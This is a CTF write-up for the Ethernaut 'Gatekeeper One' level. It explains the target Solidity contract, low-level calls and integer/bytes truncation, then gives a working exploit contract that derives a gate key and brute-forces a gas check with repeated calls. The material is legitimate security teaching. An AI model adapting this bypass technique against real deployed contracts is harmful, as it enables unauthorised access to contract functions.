Writeup for Gatekeeper One

  • Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity better. For each challenge, a contract will be deployed, and an instance will be provided. Your task is to interact with the contract and exploit its vulnerabilities. Don’t worry if you are new to Solidity and have never deployed a smart contract. You can learn how to deploy a contract using Remix here.

Challenge Description

Make it past the gatekeeper and register as an entrant to pass this level.

Contract Explanation

If you understand the contract, you can move to the exploit part. If you are a beginner, please go through the Contract Explanation as well. It will help you understand Solidity better.

Click to view source contract
        
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4contract GatekeeperOne {
 5    address public entrant;
 6
 7    modifier gateOne() {
 8        require(msg.sender != tx.origin);
 9        _;
10    }
11
12    modifier gateTwo() {
13        require(gasleft() % 8191 == 0);
14        _;
15    }
16
17    modifier gateThree(bytes8 _gateKey) {
18        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
19        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
20        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
21        _;
22    }
23
24    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
25        entrant = tx.origin;
26        return true;
27    }
28}

The contract has a state variable named entrant. The state variable entrant is a address type.

Modifiers in Solidity are special functions that modify the behavior of other functions.

Click to Check the below example
        
 1contract A{
 2    address owner;
 3    constructor(){
 4        owner=msg.sender;
 5    }
 6
 7    function hello() public view returns (string memory){
 8        require(msg.sender==owner,"Not Owner");
 9        return "hello";
10    }
11
12    function hi() public view returns (string memory){
13        require(msg.sender==owner,"Not Owner");
14        return "hi";
15    }
16}
17
18
19contract B{
20    address owner;
21    constructor(){
22        owner=msg.sender;
23    }
24
25    modifier onlyOwner(){
26        require(msg.sender==owner,"Not Owner");
27    _;
28    }
29
30    function hello() public view returns (string memory) onlyOwner{
31        return "hello";
32    }
33
34    function hi() public view returns (string memory) onlyOwner{
35        return "hi";
36    }
37}
If we see the contracts we can observe that in the first contract, we have written the same checks in two functions but in the second one we have written the checks in a modifier and we used a modifier in each function.

When we use modifier to a function, the function will first implement the modifier logic and then implement the function logic. By using modifiers we can write more optimized code.

1modifier gateOne() {
2    require(msg.sender != tx.origin);
3    _;
4}

The above is a modifier named gateOne() which checks whether tx.origin is equal to msg.sender or not.

1modifier gateTwo() {
2    require(gasleft() % 8191 == 0);
3    _;
4}

The above is a modifier named gateTwo(). It checks if gasleft()%8191 is zero or not. gasleft() is an inbuilt function in the solidity that returns the amount of gas left during a contract call. In this case when the gateTwo() is called if gasleft%8191==0 then the modifier will be passed.

1
2modifier gateThree(bytes8 _gateKey) {
3    require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
4    require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
5    require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
6    _;
7}
1function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
2    entrant = tx.origin;
3    return true;
4}

The above function takes a bytes8 argument as input. It executes all the modifiers one by one then if all the conditions in modifiers are passed then it will set entrant to tx.origin and returns true.

Key Concepts to Understand

To exploit this contract we need to understand some key concepts in solidity.

When we interact with contracts using low-level call function it won’t revert even if the calls failed. It will just return true or false.

Click to check the below example
        
 1
 2// SPDX-License-Identifier: MIT
 3pragma solidity ^0.8.0;
 4
 5contract contract_One{
 6    function Wish(uint8 _num)public pure returns(string memory){
 7        if(_num%2==0){
 8            return "hello";
 9        }
10        else{
11            revert();
12        }
13
14    }
15}
16
17contract contract_two{
18    bool public first_call;
19    bool public second_call;
20    bytes4 private constant FUNC_SELECTOR = bytes4(keccak256("Wish(uint8)"));
21
22    function call_Wish(address _wish)public{
23        (bool a,)=_wish.call(abi.encodeWithSelector(FUNC_SELECTOR,2));
24        (bool b,)=_wish.call(abi.encodeWithSelector(FUNC_SELECTOR,1));
25        first_call=a;
26        second_call=b;
27    }
28}

First deploy contract_one then deploy contract_two. When we invoke call_Wish() in contract_two the function will make two level calls to contract_one calling the function Wish(). The first will be successful but the second call will revert because we are passing odd number. Wish() returns true “hello” only when passing even numbers. If we pass an odd number it will revert.

Even though the inner second call is reverted it is not reverting the main call (call_Wish). This behavior is only due to low-level call. When we use low-level call if the call is successful it returns true else it will return false.

One more key concept to learn is how typecasting works.

In Solidity, when a uint with a larger number of bits is converted to a type with a smaller number of bits, the first bits/bytes of larger value will be truncated. Same way when a bytes with a larger number of bytes is converted to a smaller number of bytes the last bits/bytes will be truncated.

Click to check the below example
        
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4contract Type_Casting{
 5    uint96 Number_1=1548647896516548945453658536;
 6    bytes12 Bytes_1=bytes12((Number_1));
 7    function uint96_to_uint48()public view returns(bytes32 before_conversion,bytes32 after_conversion,uint48 converted_val){
 8    before_conversion=bytes32(uint256(Number_1));
 9    converted_val=uint48(Number_1);
10    after_conversion=bytes32(uint256(converted_val));
11 }
12
13 function bytes12_to_bytes6()public view returns(bytes32 before_conversion,bytes6 converted_val,bytes32 after_conversion){
14    before_conversion=bytes32(Bytes_1);
15    converted_val=bytes6(Bytes_1);
16    after_conversion=bytes32(converted_val);
17 }
18
19}

Make sure you try out this in the remix. When we call the functions uint96_to_uint48() and bytes12_to_bytes6() the output will be as follows.

My Centered Image

If we observe the data of bytes12_to_bytes6() when bytes12 is converted to bytes6 only the first 6 bytes are taken. If we observe the uint96_to_uint48() when uint96 is converted to uint48 only the last 48 bits (6 bytes) are taken. You can find the difference by observing before_conversion and after_conversion. In the uint96_to_uint48() you can verify the converted_val by converting 0x0000000000000000000000000000000000000000000000000000f750833e31a8 into decimal.

Exploit

Our goal is to call the enter() function and pass all the gates (modifiers).

1modifier gateOne() {
2    require(msg.sender != tx.origin);
3    _;
4}

We can pass the gateOne() by interacting with the contract using our exploit contract. When we interact with GatekeeperOne using our exploit contract msg.sender will be our exploit contract address and tx.origin will be the address of the Externally Owned Account that is calling the exploit contract.

If you don’t know what is tx.origin and msg.sender refer to the Telephone challenge. Chlick here to open the WriteUp.

1modifier gateTwo() {
2    require(gasleft() % 8191 == 0);
3    _;
4}

It is checking if gasleft()%9191==0 or not. gasleft() will return the remaining gas after executing the gasleft(). We can pass this modifier by making some 100 or 200 low-level calls to GatekeeperOne enter() function with different gas values. The low-level call function will return true only if the call is a success. Using this as an advantage we can pass this modifier.

1modifier gateThree(bytes8 _gateKey) {
2    require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
3    require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
4    require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
5 _;
6}

Now let’s assume our key as B1 B2 B3 B4 B5 B6 B7 B8 where each B represents a byte. Since the key is 8 bytes there are 8 B’s.

In the first condition, uint32(uint64(_gateKey)) will return B5 B6 B7 B8 and uint16(uint64(_gateKey)) will return B7 B8. According to the condition, the bytes are B5 B6 B7 B8 and B7 B8. This condition will only be satisfied if B5 and B6 are both zeros. Therefore, we can conclude that the last four bytes of our key will be 00 00 B7 B8.

In the second condition uint32(uint64(_gateKey)) will return B5 B6 B7 B8 and uint64(_gateKey) will return B1 B2 B3 B4 B5 B6 B7 B8. The condition will be satisfied only if B1 B2 B3 B4 are non-zeros. From this, we can conclude that the key will be B1 B2 B3 B4 00 00 B7 B8.

In the third condition uint32(uint64(_gateKey)) will return B5 B6 B7 B8 and uint16(uint160(tx.origin)) will return last two bytes of the address. Suppose if our address is 0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5 it will return 0xAfe5. Assuming this as our wallet address we can conclude that our key will be B1 B2 B3 B4 00 00 Af e5.

The only restriction for B1 B2 B3 B4 is it shouldn’t be zero. That means this can be of any value. Now our key will be aa bb cc dd 00 00 Af e5 which is 0xaabbccdd0000Afe5.

Don’t forget to change the last two bytes to your wallet address.

Click to view Exploit contract
        
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4import {GatekeeperOne} from "./GatekeeperOne.sol";
 5
 6
 7contract ExploitGatekeeperOne{
 8    GatekeeperOne Gate1;
 9    uint256 gasAmount=81910;
10    constructor(address _addr){
11        Gate1=GatekeeperOne(_addr);
12    }
13    function Exploit()public{
14        bytes8 Key=0xaabbccdd0000Afe5;
15        for(uint256 i=0;i<500;i++){
16        (bool success,)=address(Gate1).call{gas:gasAmount+i}(abi.encodeWithSignature("enter(bytes8)",Key));
17            if(success){
18                break;
19            }
20        }
21        require(Gate1.entrant()==0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5);
22    }
23}

gasAmount is a multiple of 8191 because i will be the initial gas usage and after i amount of gas. Once the initial gas usage (calls before Gatetwo) is done the gasleft() will be multiple of 8191 and hence gasleft()%8191 will return 0

Once you call the Exploit() function the challenge will be solved. But before calling make sure you change your address in the ExploitGatekeeperOne contract.

Key Takeaways

We have learned about how typecasting works and we discussed how low-level call work. Refer this part if you forgot these.

***Hope you enjoyed this write-up. Keep on hacking and learning!***